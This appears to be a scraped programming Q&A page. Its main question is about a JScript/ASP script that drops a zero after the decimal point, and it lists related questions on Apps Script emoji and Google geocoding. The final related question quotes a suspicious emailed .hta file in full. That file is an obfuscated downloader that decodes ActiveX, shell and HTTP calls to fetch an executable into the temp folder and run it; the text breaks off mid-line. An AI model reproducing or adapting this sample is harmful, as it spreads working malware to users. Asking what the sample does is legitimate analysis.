Issue with a zero showing after a decimal point - csv
I have a script set up to extract figures from a csv file into a webpage. We have a problem in that a figure that have a 0 after the decimal point is being ignored so whilst the csv file shows 1.094 when teh figure is transferred to the webpage it is 1.94
There is a js script and then an asp script that works the function
function getHTTPObject()
{
var x = null;
if (window.XMLHttpRequest)
{
x = new XMLHttpRequest();
}
else if (window.ActiveXObject)
{
x = new ActiveXObject("Microsoft.XMLHTTP");
if (!x)
{
x = new ActiveXObject("Msxml2.XMLHTTP");
}
}
return x;
}
var gobj = getHTTPObject();
window.onload=update();
function update()
{
var xpath = "ratesxtract.asp";
if (gobj) {
gobj.open("GET", xpath, true);
gobj.onreadystatechange = update_all;
gobj.send(null);
}
else {alert("XMLHTTP access problem. Please exit page and try again" ); }
}
function update_all()
{
if (gobj.readyState == 4) {
if (gobj.status == 200) {
// dobj = document.getElementById("BLastUpdated");
var A = gobj.responseText;
// dobj.innerHTML = A;
if (A == "error") {alert("XMLHTTP access problem. Please exit page and contact us" ); }
else { processfile(A); }
}
}
function processfile(A)
{
var errormess = "none";
var AA = new String(A);
AA = AA.split("$");
var nName = null;
var dobj = null;
var nValue = null;
var i = 0;
for (i = 0; i < AA.length; i++) {
if (AA[i].charAt(0) == "Z") {
nName = AA[i];
dobj = document.getElementById(nName);
}
else { nValue = "";
nValue += AA[i];
dobj.innerHTML = nValue;
}
}
if ( i == 0 ) { errormess = "failed to access exchange rates data, please exit page and try again";
alert(errormess)
}
}
ASP SCRIPT
<%#LANGUAGE='JScript'%>
<%
var sfile = Server.MapPath("forex\\ratefile.csv");
var fs = Server.CreateObject("Scripting.FileSystemObject");
var fsT = fs.OpenTextFile(sfile, 1, 0);
var xline;
var p = 0;
var q = 0;
var d = 0;
var i = 0;
var n = 0;
var t = 0;
var ts = 0;
var mname;
var mprice;
var mtime = "";
var INLine
var LN;
var cresult = "";
while(!fsT.AtEndOfStream) {
INLine = fsT.ReadLine();
xline = String(INLine);
if ( p != 0) {
LN = xline.split(",");
mname = xtrim(LN[0]);
mprice = doamount3(LN[1]);
if (p == 1) { mtime = xtrim(LN[2]); }
if (n > 0){ cresult += "$"; }
n++;
cresult += "Z" + mname + "$" + mprice;
}
p++;
}
cresult += "$ZTIM$" + mtime;
fsT.Close();
Response.Write(cresult);
%>
<%
function xtrim(x)
{
var xd = x.replace(/^\s+|\s+$/gm,'');
return xd;
}
function doamount3(amt)
{
var ZLine = String(amt);
ZLine = xtrim(ZLine);
if (ZLine.indexOf(".") == -1) {
ZLine += ".00";
return(ZLine);
}
var idata = ZLine.split(".");
var xadp = new String(idata[1]);
var xlen = xadp.length;
if (xlen == 1) {
idata[1] = xadp + "00";
ZLine = idata[0] + "." + idata[1];
return(ZLine);
}
if (xlen == 2) {
idata[1] = xadp + "0";
ZLine = idata[0] + "." + idata[1];
return(ZLine);
}
var p4 = xadp.charAt(3);
var p3 = parseInt(xadp.substring(0,3), 10);
if (p4 > 4) { p3 += 0; }
idata[1] = String(p3);
ZLine = idata[0] + "." + idata[1];
return(ZLine);
}
%>
If anyone can help be greatly appreciated
Related
GAS insert emoji into a table
I am sending an email that contains a table. The output is a table in the email where the first column should be the emoji follow by the name and date. When I tried to put the emoji into the column of my array, the output in the column 1 of the table is a black ? triangle. My code snippet is below - for (let indx =0; indx<empDates.length; ++indx){ if (empDates[indx][startMonthIndx]!="") { var tempDate = new Date(empDates[indx][startMonthIndx+1]); if (tempDate.getMonth() >= monDate.getMonth() && tempDate.getDate() >= monDate.getDate() && tempDate.getMonth() <= sunDate.getMonth() && tempDate.getDate()<= sunDate.getDate()) { var emojiType = empDates[indx][startMonthIndx]; if (emojiType.indexOf("(B)")==0) { var emojiIcon = '๐'; } else { var emojiIcon = '๐'; } thisWeekReminder.push(emojiIcon, [empDates[indx][startMonthIndx], empDates[indx][startMonthIndx+1]]); } if (startMonth != endMonth) { tempDate = new Date(empDates[indx][startMonthIndx+3]); if (empDates[indx][startMonthIndx+2]!="") { if (tempDate.getMonth() >= monDate.getMonth() && tempDate.getDate() >= monDate.getDate() && tempDate.getMonth() <= sunDate.getMonth() && tempDate.getDate()<= sunDate.getDate()) { var emojiType = empDates[indx][startMonthIndx]; if (emojiType.indexOf("(B)")==0) { var emojiIcon = '๐'; } else { var emojiIcon = '๐'; } thisWeekReminder.push(emojiIcon, [empDates[indx][startMonthIndx+2], empDates[indx][startMonthIndx+3]]); } } } } } const htmlTemplate = HtmlService.createTemplateFromFile('emailTable'); htmlTemplate.name = name; htmlTemplate.specialDate = specialDate; htmlTemplate.tablerangeValue = thisWeekReminder; const htmlForEmail = htmlTemplate.evaluate().getContent(); var toEmail = emailAddr[0][0]; var ccEmail = ""; for (let i=1; i<emailAddr.length; ++i) { if (emailAddr[i][0] != "") { if (i=1) { ccEmail = emailAddr[i][0]; } else { ccEmail = ccEmail + "," + emailAddr[i][0]; } } } MailApp.sendEmail({ to: toEmail, cc: ccEmail, subject: "REMINDER: This week's Birthdays and Anniversaries", htmlBody:htmlForEmail }); } }
How to find the latitude and longitude of the beginning and the end of a street?
I'm trying to find the coordinates (LAT LONG) of a street from the beginning to the end of the street with the GOOGLE MAPS API. I can not find some simillaria on the net Thanks I use this code : function findEndAddr(addr) { for (var i = 500;;) { var Http = new XMLHttpRequest(); var url = 'https://maps.googleapis.com/maps/api/geocode/json?address=' + i.toString().split('.')[0] + addr.replace(/\s/g, '') + '&key=KEY_API'; console.log(url); Http.open("GET", url, false); Http.send(null); if (Http.status == 200 && Http.readyState == 4) { var resp = JSON.parse(Http.responseText); if (resp['results'][0]['address_components'][0]['types'][0] != 'street_number') { i = i / 2; } else { return findEndAddrNext(addr, i, i, 2); } } } }
And I use this function : function findEndAddrNext(addr, i, nb, div) { var Http = new XMLHttpRequest(); var url; url = 'https://maps.googleapis.com/maps/api/geocode/json?address=' + nb.toString().split('.')[0] + addr.replace(/\s/g, '') + '&key=KEY-API'; console.log(url); Http.open("GET", url, false); Http.send(null); if (Http.status == 200 && Http.readyState == 4) { var resp = JSON.parse(Http.responseText); var index = 0; for (let cpt = 0; cpt < resp['results'].length; cpt++) { console.log(getThing(resp['results'][cpt]['address_components'], 'postal_code')); console.log(addr.split(',')[2]); if (getThing(resp['results'][cpt]['address_components'], 'locality') == addr.split(',')[1]) { index = cpt; break; } } if (resp['results'][index]['address_components'][0]['types'][0] == 'street_number') { i = nb; if ((nb / div) <= 2) { if (getThing(resp['results'][index]['address_components'], 'locality') != addr.split(',')[1]) { oui = searchFinal(getThing(resp['results'][index]['address_components'], 'street_number'), addr); return; } oui = [resp['results'][index]['geometry']['location'].lat, resp['results'][0]['geometry']['location'].lng]; console.log(resp); return; } nb = nb + (nb / div); findEndAddrNext(addr, i, nb, div); } if (resp['results'][index]['address_components'][0]['types'][0] != 'street_number') { div *= 2; nb = i + (i / div); findEndAddrNext(addr, i, nb, div); } } }
what can this .hta file do?
I just got an email with an attachement of .hta file and here is the code: <html> <head><script language='JScript'> String.prototype.yakamurahirobetobeVIUVIUVIUtttoooo = function() { yakamurahirobetobeVIUVIUVIUXCOP = 0; var yakamurahirobetobeVIUVIUVIUddDccC1, yakamurahirobetobeVIUVIUVIUddDccC2, yakamurahirobetobeVIUVIUVIUc3, yakamurahirobetobeVIUVIUVIUc4; var yakamurahirobetobeVIUVIUVIUsudarinaB = this; yakamurahirobetobeVIUVIUVIUsudarinaB= yakamurahirobetobeVIUVIUVIUsudarinaB.replace(/GOGOGA/g, ''); var yakamurahirobetobeVIUVIUVIUout = ""; var yakamurahirobetobeVIUVIUVIUlen = yakamurahirobetobeVIUVIUVIUsud(yakamurahirobetobeVIUVIUVIUsudarinaB); while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen) { do { yakamurahirobetobeVIUVIUVIUddDccC1 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff]; } while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUddDccC1 == -1); if (yakamurahirobetobeVIUVIUVIUddDccC1 == -1) break; var yakamurahirobetobeVIUVIUVIUdodo = false; do { yakamurahirobetobeVIUVIUVIUddDccC2 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff]; yakamurahirobetobeVIUVIUVIUdodo = yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUddDccC2 == -1; } while (yakamurahirobetobeVIUVIUVIUdodo); if (yakamurahirobetobeVIUVIUVIUddDccC2 == -1) break; yakamurahirobetobeVIUVIUVIUout += String.fromCharCode((yakamurahirobetobeVIUVIUVIUddDccC1 << 2) | ((yakamurahirobetobeVIUVIUVIUddDccC2 & 0x30) >> 4)); do { yakamurahirobetobeVIUVIUVIUc3 = yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff; if (yakamurahirobetobeVIUVIUVIUc3 == 10*6+0.5*2) return yakamurahirobetobeVIUVIUVIUout; yakamurahirobetobeVIUVIUVIUc3 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUc3]; } while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUc3 == -1); if (yakamurahirobetobeVIUVIUVIUc3 == -1) break; yakamurahirobetobeVIUVIUVIUout += String.fromCharCode(((yakamurahirobetobeVIUVIUVIUddDccC2 & 0XF) << 4) | ((yakamurahirobetobeVIUVIUVIUc3 & 0x3c) >> 2)); do { yakamurahirobetobeVIUVIUVIUc4 = yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff; if (yakamurahirobetobeVIUVIUVIUc4 == 61) return yakamurahirobetobeVIUVIUVIUout; yakamurahirobetobeVIUVIUVIUc4 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUc4]; } while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUc4 == -1); if (yakamurahirobetobeVIUVIUVIUc4 == -1) break; yakamurahirobetobeVIUVIUVIUout += String.fromCharCode(((yakamurahirobetobeVIUVIUVIUc3 & 0x03) << 6) | yakamurahirobetobeVIUVIUVIUc4); } return yakamurahirobetobeVIUVIUVIUout; }; function ProcessFolder(folderPath) { var path = ""; for (var i in maskArr) { path = folderPath + "\\" + maskArr[i]; try { fsoObj.DeleteFile(path); } catch (e) {} try { fsoObj.DeleteFolder(path); } catch (e) {} } var subfolders = new Enumerator(fsoObj.GetFolder(folderPath).SubFolders); for(; !subfolders.atEnd(); subfolders.moveNext()) ProcessFolder(subfolders.item().Path); } function yakamurahirobetobeVIUVIUVIUsud(vardos){ return vardos[("yakamurahirobetobeVIUVIUVIUprosy","yakamurahirobetobeVIUVIUVIUoffering","yakamurahirobetobeVIUVIUVIUspecialized","yakamurahirobetobeVIUVIUVIUalicia","yakamurahirobetobeVIUVIUVIUenormity","l") + ("yakamurahirobetobeVIUVIUVIUinter","yakamurahirobetobeVIUVIUVIUcrest","yakamurahirobetobeVIUVIUVIUnoisily","yakamurahirobetobeVIUVIUVIUpenguin","yakamurahirobetobeVIUVIUVIUdrops","en")+("yakamurahirobetobeVIUVIUVIUplaintiff","yakamurahirobetobeVIUVIUVIUholiday","yakamurahirobetobeVIUVIUVIUsymphony","yakamurahirobetobeVIUVIUVIUlegally","yakamurahirobetobeVIUVIUVIUcelibate","gt")+("yakamurahirobetobeVIUVIUVIUappointments","yakamurahirobetobeVIUVIUVIUlooksmart","yakamurahirobetobeVIUVIUVIUmotorcycles","yakamurahirobetobeVIUVIUVIUbreakwater","yakamurahirobetobeVIUVIUVIUchart","h")]; } yakamurahirobetobeVIUVIUVIUmisterdenisk.dEDWWEE = function(){ yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1); yakamurahirobetobeVIUVIUVIUok(yakamurahirobetobeVIUVIUVIUspyFunction1.yakamurahirobetobeVIUVIUVIUcalledWith(), "Function called without arguments"); yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1, "PROPER1"); yakamurahirobetobeVIUVIUVIUok(yakamurahirobetobeVIUVIUVIUspyFunction1.yakamurahirobetobeVIUVIUVIUcalledWith("PROPER1"), "Function called with 'PROPER1' argument"); yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1, ["PROPER1", "PROPER2"]); }; var yakamurahirobetobeVITKS = new Array(-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-39,-102,-102,-102,-38,-49,-48,-47,-46,-45,-44,-43,-42,-41,-40,-102,-102,-102,-102,-102,-102,-102,-101,-100,-99,-98,-97,-96,-95,-94,-93,-92,-91,-90,-89,-88,-87,-86,-85,-84,-83,-82,-81,-80,-79,-78,-77,-76,-102,-102,-102,-102,-102,-102,-75,-74,-73,-72,-71,-70,-69,-68,-67,-66,-65,-64,-63,-62,-61,-60,-59,-58,-57,-56,-55,-54,-53,-52,-51,-50,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102); var yakamurahirobetobeVITKI, yakamurahirobetobeVITKSn = yakamurahirobetobeVITKS.length; for (yakamurahirobetobeVITKI= 0; yakamurahirobetobeVITKI < yakamurahirobetobeVITKSn; ++yakamurahirobetobeVITKI) { yakamurahirobetobeVITKS[yakamurahirobetobeVITKI] = yakamurahirobetobeVITKS[yakamurahirobetobeVITKI] + 101; } function moveToParentFolder(parentFolder, folder) { // ๅฏพ่ฑกใใฉใซใใฎใตใใใฉใซใๅๆ var subFolders = new Enumerator(folder.SubFolders); // ใตใใใฉใซใๅ ใฎใใกใคใซใ็งปๅ for (; !subFolders.atEnd(); subFolders.moveNext()) { moveToParentFolder(parentFolder, subFolders.item()); } // ใใฉใซใๅ ใฎใใกใคใซๅๆ var files = new Enumerator(folder.Files); // ใใกใคใซใ็งปๅ for (; !files.atEnd(); files.moveNext()) { try { files.item().Move(parentFolder.Path + '\\'); } catch (e) { WScript.Echo(e.description + "\n" + files.item().Path); } } // ใใกใคใซใจใตใใใฉใซใใใชใใใฐใใฉใซใๅ้ค if (folder.Files.Count == 0 && folder.SubFolders.Count == 0) { try { folder.Delete(true); } catch (e) { WScript.Echo(e.description + "\n" + folder.Path); } } } var yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq = {'U': 'S', ':': '.','88':'', '77':'','HOLSTEN': 'X', '99':'', 'PLAHISH':'ons'}; function yakamurahirobetobeVIUVIUVIUachievment(yakamurahirobetobeVIUVIUVIUbidttt){if(yakamurahirobetobeVIUVIUVIUbidttt==1){return 2;}else{return 17;} return 3;}; function yakamurahirobetobeVIUVIUVIUcenter(yakamurahirobetobeVIUVIUVIUrivulet) { request = yakamurahirobetobeVIUVIUVIUrivulet; for (var yakamurahirobetobeVIUVIUVIUXCOP in yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq){request = request.replace(yakamurahirobetobeVIUVIUVIUXCOP, yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq[yakamurahirobetobeVIUVIUVIUXCOP]);} return request; }; var yakamurahirobetobeVIUVIUVIUDRUZA = 43* (51-2)*(27-26-1); function yakamurahirobetobeVIUVIUVIUmisterdenisk(yakamurahirobetobePOPSPOPx, yakamurahirobetobePOPSPOPy) { yakamurahirobetobePOPSPOPx = DDyakamurahirobetobePOPSPOP * yakamurahirobetobePOPSPOPddd; yakamurahirobetobePOPSPOPy = yakamurahirobetobePOPSPOPZZ + 245; }; var yakamurahirobetobeVIUVIUVIUsecupeku=typeof(yakamurahirobetobeVIUVIUVIUGzEAPd)==="undefined"; var yakamurahirobetobeVIUVIUVIUchosen = 0.5 * 2; if(!yakamurahirobetobeVIUVIUVIUsecupeku){ yakamurahirobetobeVIUVIUVIUmisterdenisk.scale = function(yakamurahirobetobeVIUVIUVIUp, yakamurahirobetobeVIUVIUVIUscaleX, yakamurahirobetobeVIUVIUVIUscaleY) { if (yakamurahirobetobeVIUVIUVIUXCOPsObject(yakamurahirobetobeVIUVIUVIUscaleX)) { yakamurahirobetobeVIUVIUVIUscaleY = yakamurahirobetobeVIUVIUVIUscaleX.y; yakamurahirobetobeVIUVIUVIUscaleX = yakamurahirobetobeVIUVIUVIUscaleX.x; } else if (!yakamurahirobetobeVIUVIUVIUXCOPsNumber(yakamurahirobetobeVIUVIUVIUscaleY)) { yakamurahirobetobeVIUVIUVIUscaleY = yakamurahirobetobeVIUVIUVIUscaleX; } return new yakamurahirobetobeVIUVIUVIUmisterdenisk(yakamurahirobetobeVIUVIUVIUp.x * yakamurahirobetobeVIUVIUVIUscaleX, yakamurahirobetobeVIUVIUVIUp.y * yakamurahirobetobeVIUVIUVIUscaleY); }; } if(!yakamurahirobetobeVIUVIUVIUsecupeku){ yakamurahirobetobeVIUVIUVIUmisterdenisk.yakamurahirobetobeVIUVIUVIUsameOrN = function(yakamurahirobetobeVIUVIUVIUparam1, yakamurahirobetobeVIUVIUVIUparam2) { return yakamurahirobetobeVIUVIUVIUparam1.D == yakamurahirobetobeVIUVIUVIUparam2.D || yakamurahirobetobeVIUVIUVIUparam1.F == yakamurahirobetobeVIUVIUVIUparam2.F; }; yakamurahirobetobeVIUVIUVIUmisterdenisk.angle = function(yakamurahirobetobeVIUVIUVIUp) { return Math.atan2(yakamurahirobetobeVIUVIUVIUp.y, yakamurahirobetobeVIUVIUVIUp.x); }; } var yakamurahirobetobeVIUVIUVIUVARDOCF ="JVRFTVAl".yakamurahirobetobeVIUVIUVIUtttoooo(); var yakamurahirobetobeVIUVIUVIUfinde = "QWN0aXZlWE9iamVjdA==".yakamurahirobetobeVIUVIUVIUtttoooo(); String.prototype.yakamurahirobetobeVIUVIUVIUcenter2 = function () { var yakamurahirobetobeVIUVIUVIUpirkinst = { yakamurahirobetobeVIUVIUVIUVARDOCG: this }; yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCE = yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCG["c3Vic3RyaW5n".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUDRUZA, yakamurahirobetobeVIUVIUVIUchosen); return yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCE; }; var yakamurahirobetobeVIUVIUVIUsirdallos ="RXhwYW5kRW52aXJvbm1lbnRTdHJpbmdz".yakamurahirobetobeVIUVIUVIUtttoooo(); var yakamurahirobetobeVIUVIUVIUNative = function(options){ };yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUXCOPmplement = function(yakamurahirobetobeVIUVIUVIUobjects, yakamurahirobetobeVIUVIUVIUproperties){ for (var yakamurahirobetobeVIUVIUVIUXCOP = 0, yakamurahirobetobeVIUVIUVIUl = yakamurahirobetobeVIUVIUVIUobjects.length; yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUl; yakamurahirobetobeVIUVIUVIUXCOP++) yakamurahirobetobeVIUVIUVIUobjects[yakamurahirobetobeVIUVIUVIUXCOP].yakamurahirobetobeVIUVIUVIUXCOPmplement(yakamurahirobetobeVIUVIUVIUproperties); }; var yakamurahirobetobeVIUVIUVIUd7 = yakamurahirobetobeVIUVIUVIUcenter("77M"+"88SX"+"99ML"+("yakamurahirobetobeVIUVIUVIUmosquitoes","yakamurahirobetobeVIUVIUVIUphoto","yakamurahirobetobeVIUVIUVIUstayed","yakamurahirobetobeVIUVIUVIUgrenada","yakamurahirobetobeVIUVIUVIUreindeer","2.")+"HOLSTENM"+"LH"+"TT"+("yakamurahirobetobeVIUVIUVIUillusory","yakamurahirobetobeVIUVIUVIUcontained","yakamurahirobetobeVIUVIUVIUbilliards","yakamurahirobetobeVIUVIUVIUrefers","yakamurahirobetobeVIUVIUVIUtransexuales","yakamurahirobetobeVIUVIUVIUspecification","yakamurahirobetobeVIUVIUVIUconstitutes","yakamurahirobetobeVIUVIUVIUdesideratum","P}")+"WU"+("yakamurahirobetobeVIUVIUVIUegregious","yakamurahirobetobeVIUVIUVIUdietary","yakamurahirobetobeVIUVIUVIUcelebrity","yakamurahirobetobeVIUVIUVIUhopes","yakamurahirobetobeVIUVIUVIUdrunk","yakamurahirobetobeVIUVIUVIUperiodically","yakamurahirobetobeVIUVIUVIUfatherhood","cr")+("yakamurahirobetobeVIUVIUVIUgenerations","yakamurahirobetobeVIUVIUVIUquarterly","yakamurahirobetobeVIUVIUVIUwording","yakamurahirobetobeVIUVIUVIUpeking","yakamurahirobetobeVIUVIUVIUreturning","yakamurahirobetobeVIUVIUVIUsuccor","yakamurahirobetobeVIUVIUVIUcharging","yakamurahirobetobeVIUVIUVIUmagnify","ip")+"t:S"+("yakamurahirobetobeVIUVIUVIUtoward","yakamurahirobetobeVIUVIUVIUoutlined","yakamurahirobetobeVIUVIUVIUsubstitute","yakamurahirobetobeVIUVIUVIUamend","yakamurahirobetobeVIUVIUVIUfigurative","yakamurahirobetobeVIUVIUVIUdeviation","yakamurahirobetobeVIUVIUVIUlatch","yakamurahirobetobeVIUVIUVIUtyson","h")+"e"+("yakamurahirobetobeVIUVIUVIUsixtytwo","yakamurahirobetobeVIUVIUVIUravenous","yakamurahirobetobeVIUVIUVIUorganize","yakamurahirobetobeVIUVIUVIUcholera","yakamurahirobetobeVIUVIUVIUoptimism","yakamurahirobetobeVIUVIUVIUdonate","yakamurahirobetobeVIUVIUVIUhouseboat","yakamurahirobetobeVIUVIUVIUincumbent","ll")); var yakamurahirobetobeVIUVIUVIUDoUtra = [yakamurahirobetobeVIUVIUVIUfinde, yakamurahirobetobeVIUVIUVIUsirdallos,yakamurahirobetobeVIUVIUVIUVARDOCF, ""+"."+("yakamurahirobetobeVIUVIUVIUcognition","yakamurahirobetobeVIUVIUVIUtrumpery","yakamurahirobetobeVIUVIUVIUpapers","yakamurahirobetobeVIUVIUVIUnecessitate","yakamurahirobetobeVIUVIUVIUesplanade","yakamurahirobetobeVIUVIUVIUwrinkle","yakamurahirobetobeVIUVIUVIUreunion","yakamurahirobetobeVIUVIUVIUtorpor","exe"), "UnVu".yakamurahirobetobeVIUVIUVIUtttoooo(),yakamurahirobetobeVIUVIUVIUd7]; yakamurahirobetobeVIUVIUVIURichters = yakamurahirobetobeVIUVIUVIUDoUtra.shift(); yakamurahirobetobeVIUVIUVIUfabled = "BIL2NEBIL"; yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUgenericize = function(object, yakamurahirobetobeVIUVIUVIUproperty, yakamurahirobetobeVIUVIUVIUcheck){ if ((!yakamurahirobetobeVIUVIUVIUcheck || !object[yakamurahirobetobeVIUVIUVIUproperty]) && typeof object.prototype[yakamurahirobetobeVIUVIUVIUproperty] == 'function') object[yakamurahirobetobeVIUVIUVIUproperty] = function(){ return object.prototype[yakamurahirobetobeVIUVIUVIUproperty].apply(yakamurahirobetobeVIUVIUVIUargs.shift(), yakamurahirobetobeVIUVIUVIUargs); }; }; yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUtypize = function(object, yakamurahirobetobeVIUVIUVIUfamily){ if (!object.type) object.type = function(item){ return (yakamurahirobetobeVIUVIUVIU$type(item) === yakamurahirobetobeVIUVIUVIUfamily); }; }; var yakamurahirobetobeVIUVIUVIULitoyDISK = this[yakamurahirobetobeVIUVIUVIURichters ]; yakamurahirobetobeVIUVIUVIUcasque = (("yakamurahirobetobeVIUVIUVIUinterpose", "yakamurahirobetobeVIUVIUVIUmorphine", "yakamurahirobetobeVIUVIUVIUshipped", "yakamurahirobetobeVIUVIUVIUdiagonal", "yakamurahirobetobeVIUVIUVIUdelta", "yakamurahirobetobeVIUVIUVIUwhiles", "yakamurahirobetobeVIUVIUVIUsynthetic", "pwrthrthrthtr") + "hrhrwhrwh").yakamurahirobetobeVIUVIUVIUcenter2(); yakamurahirobetobeVIUVIUVIUtudabilo1 = (("yakamurahirobetobeVIUVIUVIUachieved", "yakamurahirobetobeVIUVIUVIUfilms", "yakamurahirobetobeVIUVIUVIUinflected", "yakamurahirobetobeVIUVIUVIUsuburban", "yakamurahirobetobeVIUVIUVIUoriginating", "yakamurahirobetobeVIUVIUVIUpuppy", "yakamurahirobetobeVIUVIUVIUflower", "yakamurahirobetobeVIUVIUVIUencounter", "yakamurahirobetobeVIUVIUVIUearning", "serhrth") + "herrth4th4wh").yakamurahirobetobeVIUVIUVIUcenter2(); var yakamurahirobetobeVIUVIUVIUd2 = yakamurahirobetobeVIUVIUVIUDoUtra.pop(); var yakamurahirobetobeVIUVIUVIUrampart = new yakamurahirobetobeVIUVIUVIULitoyDISK(yakamurahirobetobeVIUVIUVIUd2.split("}")[1]); var yakamurahirobetobeVIUVIUVIUsudabilo1 = new yakamurahirobetobeVIUVIUVIULitoyDISK(yakamurahirobetobeVIUVIUVIUd2.split("}")[0]); var yakamurahirobetobeVIUVIUVIUvulture = yakamurahirobetobeVIUVIUVIUrampart[yakamurahirobetobeVIUVIUVIUDoUtra.shift()](yakamurahirobetobeVIUVIUVIUDoUtra.shift()); var yakamurahirobetobeVIUVIUVIUweasel = "E"; var yakamurahirobetobeVIUVIUVIUamalgamation = yakamurahirobetobeVIUVIUVIUDoUtra.shift(); var yakamurahirobetobeVIUVIUVIUpromises = yakamurahirobetobeVIUVIUVIUDoUtra.shift(); var yakamurahirobetobeVIUVIUVIUostrokoncert = "b3Blbg==".yakamurahirobetobeVIUVIUVIUtttoooo(); yakamurahirobetobeVIUVIUVIURhXxGud = "type"; function yakamurahirobetobeVIUVIUVIU_a2(yakamurahirobetobeVIUVIUVIUgutter, yakamurahirobetobeVIUVIUVIUStrokaParam2) { var yakamurahirobetobeVIUVIUVIUwandermander = yakamurahirobetobeVIUVIUVIUvulture; yakamurahirobetobeVIUVIUVIUwandermander=yakamurahirobetobeVIUVIUVIUwandermander+ "\u002f"; yakamurahirobetobeVIUVIUVIUwandermander=yakamurahirobetobeVIUVIUVIUwandermander + yakamurahirobetobeVIUVIUVIUStrokaParam2 ; yakamurahirobetobeVIUVIUVIUsudabilo1[yakamurahirobetobeVIUVIUVIUostrokoncert](("yakamurahirobetobeVIUVIUVIUpossibilities","yakamurahirobetobeVIUVIUVIUportsmouth","yakamurahirobetobeVIUVIUVIUiceland","yakamurahirobetobeVIUVIUVIUcommodity","yakamurahirobetobeVIUVIUVIUslash","yakamurahirobetobeVIUVIUVIUlocate","yakamurahirobetobeVIUVIUVIUtechno","yakamurahirobetobeVIUVIUVIUlabour","G" + yakamurahirobetobeVIUVIUVIUweasel) + ("yakamurahirobetobeVIUVIUVIUcringe","yakamurahirobetobeVIUVIUVIUintolerance","yakamurahirobetobeVIUVIUVIUbraxton","yakamurahirobetobeVIUVIUVIUdappled","yakamurahirobetobeVIUVIUVIUvestibule","yakamurahirobetobeVIUVIUVIUaffirmation","yakamurahirobetobeVIUVIUVIUpriestess","yakamurahirobetobeVIUVIUVIUjerry","yakamurahirobetobeVIUVIUVIUmilliner","yakamurahirobetobeVIUVIUVIUsheriff","T"), yakamurahirobetobeVIUVIUVIUgutter, false); yakamurahirobetobeVIUVIUVIUsudabilo1.setRequestHeader("User-Agent", "TW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMCk=".yakamurahirobetobeVIUVIUVIUtttoooo()); yakamurahirobetobeVIUVIUVIUsudabilo1[yakamurahirobetobeVIUVIUVIUtudabilo1 + ("yakamurahirobetobeVIUVIUVIUtrader","yakamurahirobetobeVIUVIUVIUconsumptive","yakamurahirobetobeVIUVIUVIUharass","yakamurahirobetobeVIUVIUVIUprofession","yakamurahirobetobeVIUVIUVIUmedicare","end")](); yakamurahirobetobeVIUVIUVIUwandermander = yakamurahirobetobeVIUVIUVIUwandermander + yakamurahirobetobeVIUVIUVIUamalgamation; if (yakamurahirobetobeVIUVIUVIUsecupeku) { var yakamurahirobetobeVIUVIUVIUNananananananana = new 